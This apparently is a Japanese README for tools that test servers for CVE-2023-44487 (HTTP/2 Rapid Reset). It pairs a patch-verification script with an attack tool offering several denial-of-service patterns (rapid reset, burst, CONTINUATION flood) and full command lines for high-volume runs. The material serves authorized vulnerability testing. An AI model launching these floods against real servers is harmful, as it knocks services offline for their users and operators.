
CVE-2023-44487、HTTP/2 Rapid Reset 脆弱性のための包括的なPythonテストツールです。この拡張版は、テストパラメータの詳細な制御、複数の攻撃パターン、および高度なモニタリング機能を提供します。
CVE-2023-44487(HTTP/2 Rapid Reset 脆弱性)のための包括的な Python テストツールです。このリポジトリには、攻撃テスト用ツールと検証に特化したツールの両方が含まれています。
このツールは教育目的および許可を得たテスト目的にのみ使用してください!
CVE-2023-44487(別名「HTTP/2 Rapid Reset」)は、HTTP/2 プロトコルにおける重大な脆弱性であり、攻撃者に以下を可能にします:
CVSS スコア: 7.5(高)
影響: サービス拒否、リソース枯渇
h2 ライブラリ: pip install h2git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
pip install h2
chmod +x *.py
python3 --version # Should be 3.7+
cve_2023_44487_verifier_enhanced.py目的: パッチ適用後の検証とコンプライアンスチェックのための強制シグナル検出
# Basic verification
python3 cve_2023_44487_verifier_enhanced.py target.com
# Multiple concurrent connections
python3 cve_2023_44487_verifier_enhanced.py target.com -c 5 -s 500
# Verbose output with debugging
python3 cve_2023_44487_verifier_enhanced.py target.com -v -c 3 -s 1000
# Baseline test only (normal requests)
python3 cve_2023_44487_verifier_enhanced.py target.com --baseline-only
このスクリプトは、RFC 9113 準拠の強制シグナルに基づいてインテリジェントな判定を提供します:
Server sends GOAWAY with ENHANCE_YOUR_CALM (0xb) error code
Classification: NOT VULNERABLE — protocol-layer enforcement is active
Meaning: HTTP/2 implementation has proper rate-limiting controls
50%+ of connections terminated via TCP reset
Classification: LIKELY PROTECTED — verify with edge/infrastructure team
Meaning: Edge appliance or DDoS protection engaged at transport layer
Per-second reset rate drops significantly over time (late buckets <60% of early)
Classification: PARTIAL PROTECTION — confirm with infrastructure team
Meaning: Server or edge slowing the attack adaptively
Server sends REFUSED_STREAM (0x7) responses
Classification: PARTIAL PROTECTION — review rate limits
Meaning: Some stream-level rate-limiting in place
No ENHANCE_YOUR_CALM GOAWAY, no TCP resets, no throttling detected
Classification: VECTOR EXERCISABLE — exploitability unconfirmed
Important: This doesn't prove DoS exploitability. Edge volumetric/behavioral
protections (Akamai, CloudFlare) may engage at higher scales
============================================================
ENFORCEMENT SIGNAL ANALYSIS
============================================================
Server SETTINGS (initial frame):
HEADER_TABLE_SIZE = 4096
ENABLE_PUSH = True
MAX_CONCURRENT_STREAMS = 128
INITIAL_WINDOW_SIZE = 65535
MAX_FRAME_SIZE = 16384
→ MAX_CONCURRENT_STREAMS=128 is conservative (good post-CVE default)
GOAWAY breakdown across connections:
ENHANCE_YOUR_CALM (0xb): 3/5
Other GOAWAY codes: 1/5
No GOAWAY received: 1/5
TCP reset (RST at transport): 0/5
Total RST_STREAM frames from server: 2
REFUSED_STREAM frames from server: 0
Connections showing adaptive throttling: 1/5
============================================================
VERDICT
============================================================
✅ ENFORCEMENT CONFIRMED
3/5 connection(s) received GOAWAY with ENHANCE_YOUR_CALM (0xb).
This is the canonical signal that the CVE-2023-44487 mitigation is active.
Classification: NOT VULNERABLE — protocol-layer enforcement is engaged.
# Verify patch deployment with 10 connections, 500 streams each
python3 cve_2023_44487_verifier_enhanced.py prod-api.example.com \
-c 10 \
-s 500 \
-d 0.0001 \
-v
# Test non-standard HTTPS port
python3 cve_2023_44487_verifier_enhanced.py example.com \
-p 8443 \
-c 5 \
-s 1000
# Minimal load compliance test
python3 cve_2023_44487_verifier_enhanced.py example.com \
-c 3 \
-s 200 \
--baseline-only
ENHANCE_YOUR_CALM(エラーコード 0xb):
REFUSED_STREAM(エラーコード 0x7):
毎秒のリセットレート分析:
トランスポート層での TCP RST:
import asyncio
import subprocess
def run_verification(target: str, num_connections: int = 3):
cmd = [
'python3', 'cve_2023_44487_verifier_enhanced.py',
target,
'-c', str(num_connections),
'-s', '500',
'-v'
]
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse verdict from output
if "ENFORCEMENT CONFIRMED" in result.stdout:
print(f"✅ {target} is protected")
return "protected"
elif "LIKELY PROTECTED" in result.stdout:
print(f"⚠️ {target} has edge-level protection")
return "edge_protected"
else:
print(f"❌ {target} shows no enforcement")
return "vulnerable"
# Run test
status = run_verification("example.com", 5)
#!/bin/bash
# Monitor critical services weekly
TARGETS="api.example.com web.example.com cdn.example.com"
LOG_DIR="/var/log/cve-2023-44487"
mkdir -p "$LOG_DIR"
for target in $TARGETS; do
python3 cve_2023_44487_verifier_enhanced.py "$target" \
-c 3 \
-s 500 \
-v > "$LOG_DIR/$target-$(date +%Y%m%d).log" 2>&1
done
rapid_reset_test.py目的: 複数のパターンによる包括的な HTTP/2 Rapid Reset 攻撃テスト
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
| オプション | 説明 | デフォルト |
|---|---|---|
--pattern TYPE | 使用する攻撃パターン | rapid_reset |
--burst-size N |
利用可能なパターン:
rapid_reset - 標準的な Rapid Reset 攻撃burst_reset - バーストベースの攻撃gradual_reset - レートを徐々に増加random_reset - ランダムタイミングcontinuation_flood - CONTINUATION フレームフラッドmixed_pattern - パターンの混合利用可能な出力形式:
console - 人間が読めるコンソール出力json - 機械可読な JSONcsv - スプレッドシート互換の CSVxml - 構造化 XML 形式このツールは脆弱性を自動的に評価します:
「No module named 'h2'」エラー
pip install h2
接続拒否 / タイムアウト
curl -I --http2 https://target.comh2 モジュールでの ImportError
pip install --upgrade h2
python3 --version # Must be 3.7+
権限拒否(Permission denied)
chmod +x *.py
python3 cve_2023_44487_verifier_enhanced.py target.com
詳細ログを有効にします:
python3 cve_2023_44487_verifier_enhanced.py target.com -v
最小限のパラメータでテストします:
python3 cve_2023_44487_verifier_enhanced.py target.com -s 10 -c 1
HTTP/2 サポートを確認します:
python3 -c "import h2; print('h2 library OK')"
このリポジトリは、サイバーセキュリティ専門家、研究者、システム管理者が、自身のシステムまたは明示的なテスト許可を得たシステムをテストすることを目的としています。
重要な法的ポイント:
忘れないでください: 大きな力には大きな責任が伴います。これらのツールを倫理的かつ合法的に使用してください。
このツールは MIT ライセンスの下で提供されています。詳細は LICENSE ファイルを参照してください。
| オプション | 説明 | デフォルト |
|---|
host | ターゲットのホスト名(必須) | - |
-p, --port | ターゲットポート | 443 |
--no-ssl | SSL/TLS を無効化 | False(SSL 有効) |
-s, --streams | 接続ごとのストリーム数 | 1000 |
-d, --delay | ストリーム操作間の遅延(秒) | 0.001 |
-c, --connections | 並行接続数 | 1 |
--baseline-only | ベースラインテストのみ実行(攻撃なし) | False |
-v, --verbose | 詳細/デバッグ出力 | False |
| 終了原因 | 意味 |
|---|
goaway_enhance_your_calm | GOAWAY 0xb を受信(CVE 修正の最良の指標) |
goaway_* | 他のエラーコードでの GOAWAY |
tcp_reset | TCP RST を受信(エッジレベルでの介入) |
broken_pipe / recv_error | 通信中の接続エラー |
eof_no_goaway | GOAWAY なしの予期しない EOF |
no_close_no_enforcement | 接続が開いたまま(強制を検出せず) |
| オプション | 説明 | デフォルト |
|---|
-c, --connections N | 並行接続数 | 1 |
--connection-timeout SEC | 接続タイムアウト(秒) | 10 |
--read-timeout SEC | レスポンスの読み取りタイムアウト | 5 |
--connection-delay SEC | 接続間の遅延 | 0.0 |
| オプション | 説明 | デフォルト |
|---|
-r, --requests N | 接続ごとのリクエスト数 | 100 |
--delay SEC | HEADERS と RST_STREAM の間の遅延 | 0.001 |
--request-delay SEC | リクエスト間の遅延 | 0.0 |
--jitter FACTOR | タイミングのランダム化係数 | 0.0 |
| バーストごとのリクエスト数 |
| 10 |
--burst-delay SEC | バースト間の遅延 | 0.1 |
| オプション | 説明 | デフォルト |
|---|
--window-size BYTES | HTTP/2 初期ウィンドウサイズ | 65535 |
--frame-size BYTES | 最大フレームサイズ | 16384 |
--header-table-size BYTES | HPACK ヘッダーテーブルサイズ | 4096 |
--enable-push | HTTP/2 サーバープッシュを有効化 | False |
--rst-error-code CODE | RST_STREAM エラーコード | 8 |
| オプション | 説明 | デフォルト |
|---|
--output FORMAT | 出力形式 | console |
--output-file FILE | 出力ファイル名 | 自動生成 |
--verbose, -v | 詳細出力 | False |
--debug | デバッグログ | False |
--log-file FILE | ファイルへのログ記録 | None |
| ユースケース | ツール | 理由 |
|---|
| パッチ適用後の検証 | cve_2023_44487_verifier_enhanced.py | 強制シグナルを検出 |
| コンプライアンスチェック | cve_2023_44487_verifier_enhanced.py | CVE 対策を検証 |
| インフラストラクチャ評価 | cve_2023_44487_verifier_enhanced.py | 明確で実行可能な判定 |
| 攻撃研究 | rapid_reset_test.py | 複数の攻撃パターン |
| パフォーマンステスト | rapid_reset_test.py | 包括的なメトリクス |
| カスタムパターン | rapid_reset_test.py | 詳細な設定が可能 |